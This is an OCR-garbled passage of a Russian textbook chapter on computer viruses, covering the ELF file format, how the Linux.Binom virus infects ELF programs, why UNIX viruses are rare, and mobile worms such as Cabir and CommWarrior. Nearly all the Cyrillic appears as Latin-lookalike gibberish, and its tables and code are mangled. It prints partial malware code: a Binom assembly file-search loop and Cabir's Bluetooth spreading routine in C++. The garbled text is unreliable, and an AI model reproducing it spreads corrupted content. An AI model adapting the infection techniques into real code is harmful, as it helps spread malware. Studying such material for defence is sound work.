+1Ch CMeweHiie b tyaHine a/if? Tafinnuw nporpaMMHux saro.noeKoe 
+20h CMemeHne b $aii/ie arm Ta6.nwuy saro/ioBKC-s oeKUHfl 
+24h ©nan» npoqeccopa 
+28h Pa3wep ELF-saroJioBna
♦2AI» Pa3M ep 3 a n n c n  e Ta fin  m is  nporpaMMHW X aa ro / io B K S e  

+2Ch Hmcjio s a n i ic e i i  e T a f in n u e  nporpa*«HHX 3arcui0BK0B 
+2Eh P a 3 n e p  s a n n c n  b T a f im iu e  3ar0ii0BK0B cbkumK 
+30h Huô o a a n n c e i i b Ta6/inue aaro/iciBKOB c e K im ft 

+32fl Aflpec C8KUMM C KMSH3MH OSKUHti

OaHJi pa36HT Ha ceKUHH, ripmeM:
O  OCHOBHOMV KOfly 06bIMH0 COOTBeTCTByeT CCKHI-W C HMeHeM 4.tex t*; 
O  HeHHHHHajiH3HpoBaHHbiM flaHHbiM -  «.bss»;
O  nporpaMMHHM aainibiM -  «.data » h «.rodata»:
O  KOfly HHHUHajiH3amiH -  «.in it> h t. n.
M ecT0ri0JJ0A'euHe ceiojHH b cj>aHJie h hx ochobhwc xapaKTepucTH- 

kh oiiHCbiBaioTCH b Ta6jniqe 3ar0Ji0BK0B cckhhh (caMaa nepBaa crpoKa 
b raojiHue Bceraa nycta):

e_ id e n t db 7F
e_type dw ?
e_maclune dw ?
e_ ve rs ion dd ?
e_en try dd ?
e_phoff dd ?
e_ sh o ff dd ?
ejlags dd ?
e_eh s ize dw ?
e „p h e n ts iz e dw ?
e_pnnum dw ?
e _ sh e n ts iz e dw ?
9_shnu,Ti dw ?
e _ sn s trn dx dW ?

sh_name dd +00 Mt-w ceKunk! (CMeineHHe b ceKiwK mmbh)
sn_type dd ? +04 Tun
s ti_ f la g s dd +08 bKToabie $>Jiarn (i-3ans«aBae«8 i, 2 -sa rpyw e te fl, 4-s»noRwwHaB)
sft_addr dd ■? +0Cfi 8npTya/!bHw>i afipec
s h _ o ff s e t dd ■7 +10h CMeiiieH>ie b ^aiine
sn _ s ize dd 0 +I4h PasMep
s r i_ lin K cd ? +I8h ilHfleKC cne£y«jii!eK ceK iua
s h _ in fc dd +1Ch /iono.nH?iTe^bHafi KHij>opMaui«
sh_ add ra lig n dd ■? +20h BbipaeHKsaHne
s n _ e n rs iz 8 dd 0 +24h PasMep aanwc^ b Ta&nnue

B npouecce 3 arpy3K ii ELF-nporpa\iMbi b naMHTb o n ep a iw oH H a a  ch- 
CTeMa Bbi;iejiMeT noa ceKinm 0T/iejibHbie cerMeHTH a/ipecHoro npocTpaH- 
CTBa. MecTonojioaceHne cerMeHTOB b naMaTH h  h x  0CH0BHbie cb o h ctb 3  
oriHCbiBaiOTca b Tafijivme nporpaMMHwx cerMeHTOB:
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p_type dd ? 
p .o ffse t dd ? 
p_vaddr dd ? 
p_paddr dd ? 
P_ file sz  dd ? 
pjnemsz dd ? 
p_flags dd ? 
p_align dd ?

*■00 Tun (SuTOBbifi tynar 1 03Ha4aeT 3arpy*aeMOCTb)
+04 CMeajemie b 0a«fle
+08 BupTyanbHbiii aapec
+0Ch ®M3MM6CKiiii aapec (Macro = p j/a d d r)
+10h omamecKufi pa3Hep 
+14h BHpTya/ibHHii pa3«ep 
+ 18h (warn 
+1Ch BbipaBHMBaHMe

Cnoco6w 3apaaceHHH nporpaMM ELF-cJ)opMaTa b UNIX npiiMepHo Te 
ace, KaK h PE-c|>opMaTa b W indows.

IlpaBAa, Bee, hto naxo/iHTca BHe ceKmiii, b naMHTb 3arpyaceHO He 6v- 
aeT, nosTOMy BHpycw, nbrraiomHecH Hcri0Jib30BaTb naeio W in 9 X .C IH  h 
pa3MemaiomHe cboh ko/i b 3a3ope Meacay 3ar0Ji0BK0M m co6ctb6hho npo- 
rpaMMOH, ansi ELF-4>opMaTa HeaicryajibHu.

3aTO M0acH0, HanpHMep, yBejiHHHTb pa3Mep caMOH nocjie/uiefi ceKUHH 
(npH ycjioBHH hto  OHa onncaHa b Taojmqe nporpaMMHbix cerMeHTOB h 
ju m  Hee b nojie «p _ ty p e »  yc.TaHOBJieH 6h t sarpyacaeMocTH)  h BnncaTb 
Biipyc B noHBHBiueecH aonoJiHHTejibiioe np0CTpaHCTB0. l lTo6bi BHpyc 
rrojiynHJi ynpaBJieHHe, npn/ieTCH cooTBeTCTByroutHM o6pa30M HSMeHHTb 
toh kv  Bxoaa b 3ar0.T0BKe (no jie  «e _ e n try » ).  MoacHO rioaoSHbiM 06pa30M 
nocTynHTb h c oahoh ii3 ceKUHfi b cepeflHHe (fiaHJia, ho Tor/ia npHfleTOi 
Bee ocTajibHbie ceKUHH c^BHraTb bhh3.

Taicace M0acH0 pa3MecTHTb b (Jjaiijie hobjto cckhhio c BHpycoM h ao6a- 
BHTb CBe/ieHHa o HeH b CHCTeMHhie Ta6;iHiibi. Ecjih MecTa jyisi pacmnpe- 
hhm Ta6 jinu He XBaTHT, oriHTb npnaeTca caBHran> cckuhh b c|)aHJie.

B KanecTBe npocToro, ho noynHTeJibHoro npHMepa paccMOTpiiM npHH- 
m in ^eHCTBHH BHpyca Linux.Binom. Bnpyc nmeT h 3apaacaeT qf>aHJibi 
b TeKymeM KaTajiore, Henocpe^ictbchho o6pamaacb k cepBHCHMM 4>y»K- 

UHflM a^pa nepe3 «INT 80h»:

repeat:
movl $0xb7, <eax ; "Texyw rii KaTajior"
movl Sesp, %esx ; 5y4>ep
inovi $0x80. %bcx ; flmwa
in t  $0x80
movl $0x5, %eax ; "OTKpuTb itafi.n, KaTanor mam ycTp0ifcTS0~
movl %&ai, %eox ; Mma ifea&ia, K a ia ro ra  w m  ycrpoiicTBa
movl $0x 0, %ecx ; ®,narn
movl $0x0, %edx ; P e* w
in t  $0x80
cmpl $0x0 , %eax
jq e  n e x t l . OuidS^a?
jmp e r r o r
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n extv .
movl %eax, (*esp+0x8C+fd+2)
movl $0x0C, %eax ; 'nepeitTH b icaTanor"
movl %esi, %ebx ; XsHan Kara.nora
In t  $0x80
su b l $0x10A, test)
movl $0x59, %eax ; "McKaTb OMepeflHOfi 0afin"
movl (%esp+198h+fd), %ebx ; fd
movl %esp, %ecx ; d ir p
movl $0x 1 , %edx : CMeTMWv
in t  $0x80
ompl $0x1, %eax ; Ob h& m ?
jn z  e r r o r

. nponyiseH OparMeHT sapaxemn 

imp repeat

r ip o rp aM M H b ie  (Jjan.ribi, 3 apa>KenHbie sthm  BiipycoM, y/uiMHHioTCfl Ha  

4 0 9 6  6 aHTOB. B o x  nacTb Ta6 ; in u b i 3 a r 0 .x0 BK0 B ceK u n fi a o  3 a p a a c e H M  (cm. 

Ta6n. 7 .1 ).

Ta6/nma 7.1. 3aronoBKtt cetoiHH  n o  sa pa M em ifi

## IlMn Tun <t>/i ar BmptAHP O msAa p AnMHa
12 .text PROG XA. 080482D0 000001D4 0000005E
13 .fini PROG XA. 080484C0 000004C0 0000001B
14 .rodata PROG .A. 080484DC 000004DC 00000015
15 ,eh frame PROG .A. 080484F4 000004F4 00000004
16 .ctors PROG .AW 080494F8 000004F8 00000008

A  b o t  n o c .x e  o h o to  (cm . Ta6;i. 7 . 2 ) .

Ta6ntma 7 .2 . 3aro/iOBKn ceK m m  n o cn e  3apaMeHHn

## Twi <t>/iar BhptAa P OM3AAP AnHHa
12 .text PROG XA. 080482D0 000001D4 0000005E
13 .fini PROG XA. 080484C0 000004C0 0000001B
14 .rodata PROG .A. 080484DC 000004DC 00000015
15 .eh frame PROG .A. 080484F4 000004F4 00000004

16 .ctors PROG .AW 080494F8 000014F8 00000008

TaKHM 00pa30M, ec.ra  cpaBHHTb CTpyKTypbi «3flopoBofi» h aapa>KeH- 
h o h  nporpaM M bi, t o  m ojkho onnapy>KHTb m iezipeHHe n ocT opoH H ero  Koaa 

b cepeflH H y (f)afl;ia, conpoBoayiaiomeecH «pa3;uw>KemieM>> ceKnnil (cm . 

puc. 7 . 8 ) .
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flo  3apa»eHMB flocne aapawewM

ELFt
3aronoaoK

CeKMMHt

Cei04wn2

CeKUHfl3

CeiotMflN

ELF!
 1 aaronoBaK

CeKMMfl 1 

Ceto4«fl2

Bupyc

Cei<unfl3

CeicmifiN

P mc. 7.8  ❖ CxeMa 3apaxeHM fl ELF-nporpaMM 
BupycoM Linux. Binom

Ho fljitma ceicuHH, k «xboctv>> kotopoh npiinncaH BHpyc, ocTaeTca 
npeacHefl. Jinn Toro hto6h BHpycHbift koa Bce-TaKH rionaji b naMHTb npn 
3arpy3Ke nporpaMMbi, b Ta6jmiie cemeHTOB yKa3biBacTca yBejiHieHHaa 
A.iHHa cerMeHTa, cooTBeTCTByiomero ceKumi «.eh_frame». Bot qacTb Ta6- 
.THijbi cerMeHTOB ao 3apa»ceHHH (cm. Tao;i. 7.3).

T a 6 m u a  7 .3 .  T a 6 n n n a  c e rM e H T O B  r o  aapaaeeHM sj

## Type Offset VirtAddr PhysAddr FileS ize MemSize Fig
0 PHDR 00000034 08048034 08048034 000000E0 000000E0 R.X
1 INTP 00000114 08048114 08048114 00000013 00000013 R..
2 LOAD 00000000 08048000 08048000 000004F8 000004F8 R.X

3 LOAD 000004F8 080494F8 080494F8 00000100 00000104 RW.

A b o t  nocjie ( c m . Ta6 ;i. 7.4).

Ta6 jiH L ia  7 .4 .  T a G n m a  c e m e n r o B  n o c n e  3apaJK eH tm

Num Type Offset VirtAddr PhysAddr FileSize MemSize Fig
0 PHDR 00000034 08048034 08048034 OOOOOOEO OOOOOOEO R.X
1 INTP 00000114 08048114 08048114 00000013 00000013 R..
2 LOAD 00000000 08048000 08048000 000014F8 000014F8 R.X

3 LOAD 000004F8 080494F8 080494F8 00000100 00000104 RW.



«3K30THHecKne» Bupycbi ❖ 499

Bwpyc He H3MeH«eT coaepacHMoro rio-'w «e _en try » b ELF-3aroaoBKe. 
O h  noJibayerca TeM o 6cTOHTe.'ibCTBOM, h to  Koa MHorax nporpaMM HMeeT 

oaiiH  h  t o t  ace «n p o jio r » :

x c r l  96ebp, %ebp
pop l %esi
movl %esp, %ecx
and l $ -0x 10 , %esp
pu sn l %eax
pu sh l %esp
pu sh l %efix
pusn l a d r 1
push l a d r2
pu sh l %ecx
pu sh l * e s i
pu sh l adr3
c a l l  i n i t  ; <- flepexo® na KHHtetaiiHsaum, KOMawfla c kobom £8 XX XX XX XX.
hit

B n p y c  H3MCHHCT (npeaBapH TeJibH o coxpaHHB opfirH H a.T ) 4 6a iiTa  

KOMaH^u nepexo/ia na koa  HHHHna;iM3aiiHH TaK, m tooh  KOMaHaa yica3bi- 

Bajia Ha T e jio  BHpyca.

K aK  HaiiTH s t o t  BHpyc b (}>a iijie? Han6ojiee npocroH , c toh kh  3pem ia 

pea^H3aiyiH, cn oco6 saKJiiowaeTCH b tom , h to 6bi HCKaTb BiipycHyio caraa- 

T ypy  b «XBOCTax» Bcex nporpaMMHbix ceKUHH. E o jie e  «npaBH.TbHO», Hafi- 
aa  to h k v  Bxo/ia h  KOMaHay nepexoaa Ha ko/i H H H m ia jra3an iin , p a ccw ra T b  

aapec, Ha KOTopbiii BbinojmaeT nepexoa  KOMaHaa «CALL», h HCKaTb cur- 

HaTypy yace b stom  (JjparMeHTe.
HTaK. 4>aiiJioBbie BHpycbi a/w UNIX cymecTByiOT. Ho cK0JibK0-Hn6y/u> 

3aMeTHoro pacnpocTpaHem ia ohh He HMeioT. ITpHMHH TOMy HecK0abK0, h 
BCe OHH aeilCTByiOT 0aH0BpeMeHH0 .

Bo-nepBbix, cjieayeT oTMeTHTb HeoaHopoaHocn, MHpa UNIX. Ecjih 
BecTii pe^b o nepeH0CHM0CTH BiipycoB b Biiae aaoiWHbix KoaoB, to  ne- 
pea BHpyconHcaTejiHMH bo3HHkhct paa TpyaHonpeoaoaHMbix oapbepoB. 
3 to  h HecooTBCTCTBHe CHCTeMbI KOMaHa pa3aHHHhix nponeccopoB -  Ha
npHMep, HcnojiHae.Mbiii Moayab aaa PowerPC/MacOS miKoraa He 3a- 
nycTHTca Ha 80x86/FreeBSD. 3 to  h pasaiiHHe b cnoco6ax opranH3ai[HH 
nporpaMMHbix naKeTOB -  HanpiiMep, ;uia ycTaHOBKH RPM-naKeTa b ch- 
CTeMy, noaaepacHBaromyro DEB-naKeTbi, noTpe6yeTca npmiyaiiTeabHaa 
npoMeacyTOHHaa nepeKoaiipoBKa. 3 t o  h «njuopajin3M> b opraimaanHH 
CHCTeMHbix bh 3obob -  b HacTHOCTM, onepauHomiaa CHCTeMa Linux ne- 
peaaeT ynpaBJieHHe H3 3-ro KO/ibna saniirrbi b 0-e npn n oM om n  «INT  
80h», BeOS npn iiom o ih h  «INT 25h», QNX npn noMomn <<IN”F 28h», 
a FreeBSD h Solaris npn noMomn «CALL DWORD PTR 7:0», npuqeM 
(jjopMara nepeaann napaMe-rpoB nepe3 CTeK h perHcrpbi He coBiiaaaioT.
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3-e KontiKi 
3amMTW 

- » |  INT2SH t—  

-►JCALL 7:0|—

0-e KontMQ 
3aiMMTbl

ripMwiaflMafl ^ 
nporpaMMa

Lib C H HHbte 
MHTepctJevio 
Hwe 6n6nwo-
TeKM

flflpo UNIX w Bneumee 
yctpOMcrec

P h c . 7 .9  ❖  Pa3/inMHbie cnocoSbt o6pameHMP k flflpy 
co  CTopoHbi UNIX-nporpaMM

Bo-BTopwx, pacnpocTpaHeHHio U N IX -bh p vcob  npeiwrrcTByeT cepbe3 - 

Haa (e c jin  He CKa3aTb « c y p o B a » » )  noJiHTHKa 6e3onacHocTH, ycTauaBJin- 

BaeMaa no yMo.waHHio. H fle o jio n ia  U N IX  Bbiny>K/iaeT juo6oro nojib:soBa- 
Tejia pa6oTaTb c noHHxcen hhmh (no  cpaBHeHHio c « r o o t » )  npnBHJieniHMH. 
jXjih TaKoro nojib30BaTejm ̂ ocryriHbi Ha 3anncb f})aKTHHecKH TojibKo o o t -  

eKTbl 4>aHJI0B0H CHCTeMbi, B.iaaeJIbUeM KOTOpbIX OH HBJiaeTCH. JI1060H 

(J)aHJioBMH BHpyc, 6yayMH 3anymeH, 3apa3HT TojibKo nporpaMMbi «xo3hh- 
Ha», ho He TpoHeT hh nporpaMM a p y ra x  no;ib30BaTejieH, hh KOMHOHeHTOB 
OnepanHOHHOH chctcmm. CncTeMa pasipaHHHCHHH aocTyna, cbohctbch- 
Haa W in d ow s N T , Toace MoaceT 6 hiTb HacTpoeHa no/iooHbiM «cypoB M M »  

06pa30M, ho flejiaTb 3T0 nojib30BaTejno npH^eTCH ca.MocraaTejibHo. IIpH- 
mcm no jibsoB are .ib  pncKyeT .rauiHTb paooTocnocooHocTH MHorae C Y B J l ,  

0(j3HCHbie naKeTbl, KOMIIblOTepHbie HTpM H T. II., paCCHHTaHHbie Ha «CTa- 
pbie>> BepcHH W in d ow s  9X.

B-TpeTbHX, B M H pe UNIX npH cyTCTByeT KoHTpo/ib H as pacnpocTpa- 
H eH iieM  nporpaMMHoro o 6ecneqeHHfl. Hh b HCTopm t, hh b  TeK ym eM  flHe 

3Tiix onepamioHHWX c h c tc m  npaicrmecKH He 6huio h h b t  6ecnperorr- 
CTBeHHoro nepeTacKHBaHHH «H rp ym eK »- h  «yTHJiHTOK» Ha /iHCKeTax, kom - 

naKT-^HCKax 11 (JjJiauiKax. He obvio MHoroHHCJieHHbix h oomeaocTynHwx 
cBa.TOK nporpaMMHoro o6ecneneHHH rana BBS hjih «Bape3Hbix» FTP. 
3 t h  onepamioHHbie c h c tc m h  pozimiHCb h pa3BHBajracb KaK h h c tp v m c h t  

flJIfl UHBHJIH30BaHHbIX npO(|)eCCHOHa;iOB, H paflOBbie tI0JIb30BaTejIH, n03- 

ace npHiueauiHe b MHp UNIX, 0Ka3a jincb  BbiHyacaeHbi co6/noaaTb c h c tc -

M y 5KCCTKHX, flaBHO VCT0HB11IHXCH npHHUIfflOB H npaBilJI. B HaCTHOCTH, 
n0Jib30BaTbC« /ijih nojiyneH U H  HOBbix nporpaM M  KOHTpojnipye.wbiMH xpa - 

HHJIHUiaMH -  pen03HT0piIHM H.

HaKOHen, He cjieayeT 3a6biBaTb, h to  UNIX npocTo He m o tv t  n oxB ac- 

TaTbCH TaKofi ace nonyjrapHOCTbro cpe;m  pJu oB u x  noJibsoBaTejieH, KaK 

W in d o w s . H a  MOMeirr H aim cam iH  s th x  CTpoK (n an a jio  2009 ro f la )  Ha
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9 5 %  p a 6oH H X  CT aH U H H  M H p a  ( H e  c e p B e p o B ! )  y c x a n o B J i e H U  p a 3 J iH H H b ie  

B e p c m i  W i n d o w s ,  a  k j i o h h  U N I X  B H H y x c a e H b i a o B O J ib C T B O B a r b c a  a m u b  

4 % .  B  p e 3y . i b x a T e  c o 3 a a B a T b  « 3a p a 3y »  n o a  U N I X  H H K o r/ ja  H e  K a3a / io c b  

H H T e p e c H H M  a J i a  « r a n H H H o r o »  B H p y c o n H c a T e j iH . I I o K a  B H p y c b i  c n o c o 6- 

h h  a a p a a c a T b  T O JibK O  ( f ja f t j ib i  b  T e K y m e M  K a T a j i o r e ,  s n n a e M H H  b  U N I X -  

n o a o 6H b ix  c i i c T e M a x  M a .n o B e p o a T H H .

B n p o n e M ,  H e K O T O p b ie  n p o i i3 B o f lH T e j iH  a H T H B n p y c o B  n o c r a B J i a i o T  H a  

P h h o k  c b o h  n p o a y K T b i ,  n p e a H a 3H a H e H H w e  a a a  3a iU H T b i U N I X -chctcm : 
K A V ,  D r W e b ,  B i t D e f e n t e r ,  F - P r o t ,  C l a m A V ,  A v a s t !  h  n p o w e .  KaK t o b o -  

piiTca, H C K JiK iH H T eab H O  « m o 6 6y a o » .

72.52. Bupycu djin Mo6um>M>ix mejie<pouoe
CoBpeMeHHHH Mo6HabHbni Tejiecjxm -  s to  MajieHbKaa 3 B M , o6aa- 

a a i o m a a  npoueccopoM, 0 3 Y ,  n a M H T b io  a a a  aoaroBpeMeHHoro xpaHeHHa 
nporpaMM h aaHHwx, pa3.raMHhiMH HHTep<J>eHcaMH jvm  cbh3h c apyriiMH 
TeJie(J)OHaMH ii K0Mnbi0TepaMH apyrHX m n o B  h t. n. IIpn  noMouiH no- 
a o 6H bIX VCTpOHCTB MO/KHO He TOJibKO 3B0HHTb H  nOCblJiaTb/ripHHHMaTb 
C M C - k h ,  ho h  xoaHTb b HirrepHeT, n0Jib30BaTbC.H ycjiyraMH a.ieKTpoH- 
hoh noMTbi, nrpaTb b KOMnbroTepHbie nrpu  h BbinojiHaTb MHoacecTBo 
npoHHX aeftcTBHH, MaJio CB«3aHHbix c Tejie(J)0HHeH. C p e a H  Bcero OKea- 
Ha coBpeMeHHbix Moomibiibix TeaecJjoHOB mo>kho Bbiae.xiiTb aoBoabHo 
nonyaapHbift KJiacc ycTpoiicTB, o6jiaaaK>mnx oncpuTofi 0nepaim0HH0H 
CHCTeMOH H npHTOaHMX JU1X pa3pa6oTKH CBOHX H yCTaHOBKH MyJKHX npn- 
KaaaHbix nporpaMM, -  s to  cMapmfpoubi h KOMMyHum m opu. Mmchho ohh, 
b cm iy cBoeft (JjyHKitHOHaabHoii 6jih3octh k  <HacroamHM» KOMnMOTe- 
paM, h nocjiy*iu iH  riHTaTejibHOH cpeaow ana 3apoa<aeHHa hoboto KJiacca 
caM0pa3MH03KaromHXca nporpaMM -  «Teaec})OHHbix» BHpycoB.

I l e p B b i e  y n o M H H a H iia  o  T a K o r o  p o a a  « 3 a p a 3 e »  n o a B H J H ic b  b  H iO H e 

2 0 0 4  r o a a .  B  a H T H B H p y c H b ie  K O M n aH H H  6h j i  p a 3o c ; ia H  H c x o a H H H  t c k c t  

Ha a 3H K e  C + +  n p o c T O H  n p o r p a M M b i ,  cnoco6Hoii K o n H p o B a T b  ce6a c oa- 
H o r o  M o o n j i b H o r o  y c T p o i i c T B a ,  p a o o T a i o m e r o  n o a  y i i p a B J i e n n e M  o n e p a -  

i i h o h h o h  c u c T e M b i  S y m b i a n  O S ,  H a  a p y r o e .  / I  j i h  n e p e a a w  n e p B a  h c -  

n o .rib 3 0 B a.T C Ji n p o T O K O J i B l u e T o o t h .  O a H O B p e M e H H O  t c k c t  n p o c o n n a c a  

h  b  H e K O T O p b ie  H H xep H ex-K O H < J > ep eH u ifH , o a a r o a a p a  M e M y  a o c T a T O H H o  

6b i c T p o  O H JI C K O M n H .r a p o B a H  H e H 3 B e c T H b iM H  Jin n a .M H  h  B h i r i y m e i i  « H a  

b o .x k )  ». H e p B b  n o j i y r a j i  H aH M eH O B a H H e Cabir.
MiiTep(|)eiic B lu etooth  npe/iiiaaua'ien aJia oecn poB oan oro  b33hmo- 

iieiicTBiia TaKHX ycxponcxB. KaK nepconajibHbie 3 B M  h hovt6\tch, mo- 

OH.abHbie Te.xecfiOHM. npiiHTepbi, nnrfjpoBhie tjxjToarmapaTbi, KJiaBnaxy- 

pbl, MbUlIH, a*0HCTHKH H T. n. Ha HeOOJIblUOM paccToam iH  -  nopa^Ka
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HeCKOJIbKHX fleCMTKOB MeTpOB. C 00TBeTCTBeHH0, 3apa2CeHHC Tejie(|)OHa 

HepBeM Cabir B03M0acH0 npHMepHO b TaKOH ace ciiTyauHH, KaK h yejio- 
BeKa -  rpH im oM : Ha y jnm e, b  Mara3HHe, b TpaHcnopTe, Ha cra/iHOHe. 3 a  

Bpevw anHaeMHH 2 0 0 4 -2 0 0 6  ro^oB  H3 pa3Hbix yrojiKOB MHpa nocTyriHJiH 

cB e jiem w  o HecKOJibKHX cothhx HHiwzieHTOB c nepBeM Cabir. HanpHMep, 
coooma/iocb o BbicTaBOHHOH BHTpMHe b cajioHe MofiH.fibHoii CBH3H ropona 
CaHTa-MoHHKa ( C I I I A ) ,  « 3 aBHpycob3h h oh  *  nocjie BH3HTa noKynarejm  

c «H Hxaiom H M » TejiecjxiHOM b KapMaHe. IloflTBepayieHbi cfjaKTbi 3apaace- 
h h h  b  MeTpo M ockbm , KneBa h XapbKOBa. KpyriHaa BcnbiuiKa HMejia 
MecTO Ha cnopTHBHbix Tpn6yHax bo  BpeMH npoBefleHHa b  O h h jw h a h h  

MeMnHOHaTa Miipa no JierKorr aTJieTHKe.

ATaKe noflBepra.nncb Mo6iuibHbie Tejiecj)OHbi h CMapT(J)OHbi cepm i N ok ia  

S6 0 , TaKiie K aK N ok ia  36xx, N ok ia  N -G age, N o k ia  66x x , N ok ia  N 7x  -  N 9 x, 

N ok ia  E 7x  -  E 9x  h npomue, a TaKJKe HeKOTOpbie MO/iejm Samsung S G H - 

i4xx, Sam sung S G H - i5xx, Son y  Ericsson P 8x x x  -  P 9xxx, Ericsson R 38x 

ii t .  n. TnnH 'iHbifi Te;ie(J>OH aToro KJiacca coaepacHT npoueccop cepiiH  

A R M  c TaKTOBOH nacTOTOH b HecKOJibKO coTeH Merarepu, 3amnmeHHyio 

o t  3anncn (Jjjiaiii-riaMHTb /(.to OnepanHOHHOH cncTeMbi (ycTpoiicTBO «Z> ), 
HeSojibuiHe 0 3 Y  (ycTpoiicTBO < D > )  h ajieKTpoHHbifi ahck  xpanenHn 

BpeMeHHbIX aaHHbix (yCTpOliCTBO « C > ) ,  B03M0aCH0CTb nOflKjIKIHeHHH 
BHemHHX 4)JI3U[-KapT (ycTpoiicTBO «E:>>), HHcjjpaKpacHbiii nopT, nopT 

nocjieflOBaTe.ibHOH CBH3H b CTanaapTe R S -232 h B luetooth . OnepamiOH- 

Haa  CHCTeMa Sym bian  no/mepacHBaeT BhrrecHaiomyio MHoro3aaaraocTb, 

3am nTy naMHTH h 4>aHJioByio CHCTeMy c 6vKBeHHbiMn o6o3HaHeHiiflMii 

ycTpoficTB h flpeBOBHAHOH CHCTeMOH KaTaJioroB. KaTa/ior «  C :\Sys tem \ 

A p p s *  npeaHa3HaneH .zijlh npnicnajiHbix nporpaMM; «C :\ S ys tem \ R ecogs » 

coaepacHT cfjaMjibi, no3Bo;iaiom ne pacno3HaBaTb r a im  o6-beKTOB h o 6ec- 

neMHBaTb aBT03anycK npnjioaceHHH; «  C :\S ystem \In sta ll»  aanojineH CBe- 

iieHHaMH o pacno.ToaceHHH h xapaKTepucTHKax ycTanoBJienHoro n po

rpaMMHoro o 6ecneMeHiia.

ByayMH iiHCTaji.nnpoBaH, nepBb Cabir He TOJibKO pa3MemaeT cboh cjsaii- 
jim b KaTajiore « C:\system\apps\carib o , h o  ii KoriHpyer ceoa b HecTaH- 
aapTHoe MecTo «C:\system\symbiansecuredata\caribesecuritymanager», 
r/te ero TpyuHo o&HapyacHTb. r.'iaBHbift uhkji paooTbi MepBH pea.ni30BaH b 
Bii^e aBTOMaTa, coaepacamero Tpn coctohhhh: 1 -  nepecwjiKa cjbai-rjia; 2 -  

3aBepmeHHe nepecbiJiKH; 3 -  noHCK aKTHBHbix coeflHHeHHH.

i f ( iS t a t e  == 1) { 
i f ( ! o b e xC lie n t-> IsC o n n e c te d ( ) ) { 
iS t a t e  = 3; 
i s l s e i
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IState = 2;
CancelO;
o b e x C lie n t-> P u t(* iC u r r F i le ,  iS ta tu s ) ;  i i  OepecwJiKa ipaftjia CAR iBE.SIS
SetActiveO;
return;
}

}
i f ( i S t a t e  == 2) < 
iS t a t e  = 3;
C a n ce lO ;
o b e xC lie n t-> D is c o n n e c t( iS ta tu s ) ;  / /  Otkjiioh6hm6
S e tA c t iv e O ;
re tu rn ;

)
i f ( i S t a t e  == 3) { 
i f ( o b e x C l ie n t )  { 
d e le te  o b e xC lie n t; 
o B e xC lie n t = NULL;

}
w h ile ( iS t a t e  == 3) !

FindDevicesO; / /  (Iomck ycTpoftoTB ans sapaxemifi
ManageFoundDeviees(); ,// ycTaHOBnaiiw coeflHHeHtm

}
re tu rn ;

)

CTapTOBaB c c o c to s h h si 3, Cabir ribuaeTCH o&Hapyacirrb x o th  6m o a h o  

aKTHBHoe Bluetooth-coeflHHeHHe h ycTaHOBHTb aapec cooTBeTCTByio- 

m ero ycTpoiicTBa. HwrepecHO, h to  nepBb He npoBepaeT rana aTaicye- 
M oro  ycTp o iicT B a  h  MoxeT n orib iT a rbca  3apa3iiTb, HanpHMep, npHHTep 

hjih UH(J)p0B0H (Jx)ToannapaT. YcTaHOBHB coe/uineHHe, nepBb nepexozjH T 

b cocTOHHue 1 h nepecbuiaeT Ha aTaKyeMoe ycTponcTBo ycTaHOBOHHbiH 
Moayjib «CARIBE.SIS», BHyTpH KOToporo HaxoflHTca ({)aHjn>i BHpyca: 
«CARIBE.APP» -  nporpaMMHbift koa, «CARIBE.RSC» -  pecypcbi h 
«F L O .M D L »  -  cBefleHHH 06 ycjioBHHX aBT03anycKa npHJioaceHHa. M3 co- 
c to k h h h  1 nepBb nepexoflm- b 3aBepiuaiomee cocToaH H e 2 TojibKo b to m  

cjiynae, ecjin nonbiTKa coe^HHeHHa 6buia 6e3ycneuiHoii. B npoTHBHOM 
cjiynae oh  BHOBb BoaBpamaeTca b c o c to h h h c  3.

Ha^o oTMeTHTb, h to  aKT 3apa>KeHHH nponcxoflHT He noJiHocTbio «aB- 
TOMaTi«ecKii». B nponecce aTanii Ha Ta6;io aTaKyeMoro TejiefJjona no- 
HBJiaiOTCJi He^BycMbic.ieiiHbie npe/tynpeayieHHa h rioACKasKH: « Receive 
message via Bluetooth from Unnamed device -  [IpuHHTb cooomeime 
Hepe3 Ejuoty’c o t  Heii3BecTHoro ycTpoHCTBa?», ^Install Caribe - YcTaHO- 
BHTb Caribe?»  h npoHHe. OSpaTHTe BHHMamie: nona B/ra;ie;ieu TejietJxma 
c06cTBeHH0pyHH0 He no/iTBep/urr ycTaHOBKy Heii3BecTHoro o6i>eKTa, no-
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jiyn eH H oro  o t  H e iiaB ecT iio ro  a6oHeHTa, 3 apaacetm H He npoH 3onaeT ! H o  

Be/ib B lu e to o th  KaK pa3 h  no3H nnoH H pyeTc.a b KanecTBe cpeflCTBa a n a  

pOMaHTHHHOrO o6M eHa pHHrTOHaMIl, MeJIOflHflMH, KapTHHKaMH 11 t .  n. 

I l0 3 T 0 M y  <s3araao>iHocTbs> coeflH H eH hh TOJibKO n o flcrerH B aeT  Jiio6onM T- 

c tb o  w n o 6 ya tfla eT  H aHBHoro n o jib30B aTejia  a o  KOHua*. K  CMacTbio,

Cabir.a He H eceT  b c e6 e  HH KaKoro B p eaoH ocH oro  c})yHKLtHOiiajia, o h  n p o c 

To pa3MHO>KaeTCH. EflHHCTBeHHMM HeraTHBHHM cJie;icTBHeM e ro  n pn cyT - 

c tb h h  Ha TejrecJjoHe siBJisieTca o b ic rp a a  pa3pfl#Ka aKKyMyJiJiTopoB -  KaK 

c.iea;cTBHe H en p epH B H oro  CKaHHpoBaiM a B lu etoo th -coeflH H eH H H . H o  n o  

MOTHBaM OpHTHHaJIbHOrO TejiecJxiHHOrO HepBH OblJIH C03flaHM HeCKOJIbKO 

aecHTKOB pa3H0Bn;iH0CTefr, cn o co oH b ix  nepeH ocH Tb  c  c o o o h  Tpoan cK H e 

nporpaM M bi, H apyu iaTb  p a 6 oT y  ycTponcTB a, M enaTb H acTpoiiKH , p a c cu - 

JiaTb cnaM  h  t .  n. llp a B jia , 3HaHHTeJibHbix sriH/ieMHH o h h  yace He BM3bi- 

BajiH.

HecKOJibKO HHyio TexHOJiormo Hcnojib3yeT Tejie4)0HHhiH MepBb 
Com Warrior, KOTopbift He TOJibKO nepe/iaeT ce6a Mepes BlueTooth, ho 
h  paccbiJiaercH b Biiae MMC-ok. B 30He aapaacemia bch njiaHera! 3 t o t  

MepBb Toace pacnpocTpamuica no TejiecftonaM cepHH Nokia S60 h Bbmsajr 
b 2005 r. 3aM6THyio sniiaeMHio. TaKyio ace xexnoJionno pa3MHoaceHHH 
Hcnojib30Baji i i  MepBb Beselo. HeKOTOpbie MepBH (HanpHMep, npocroii 
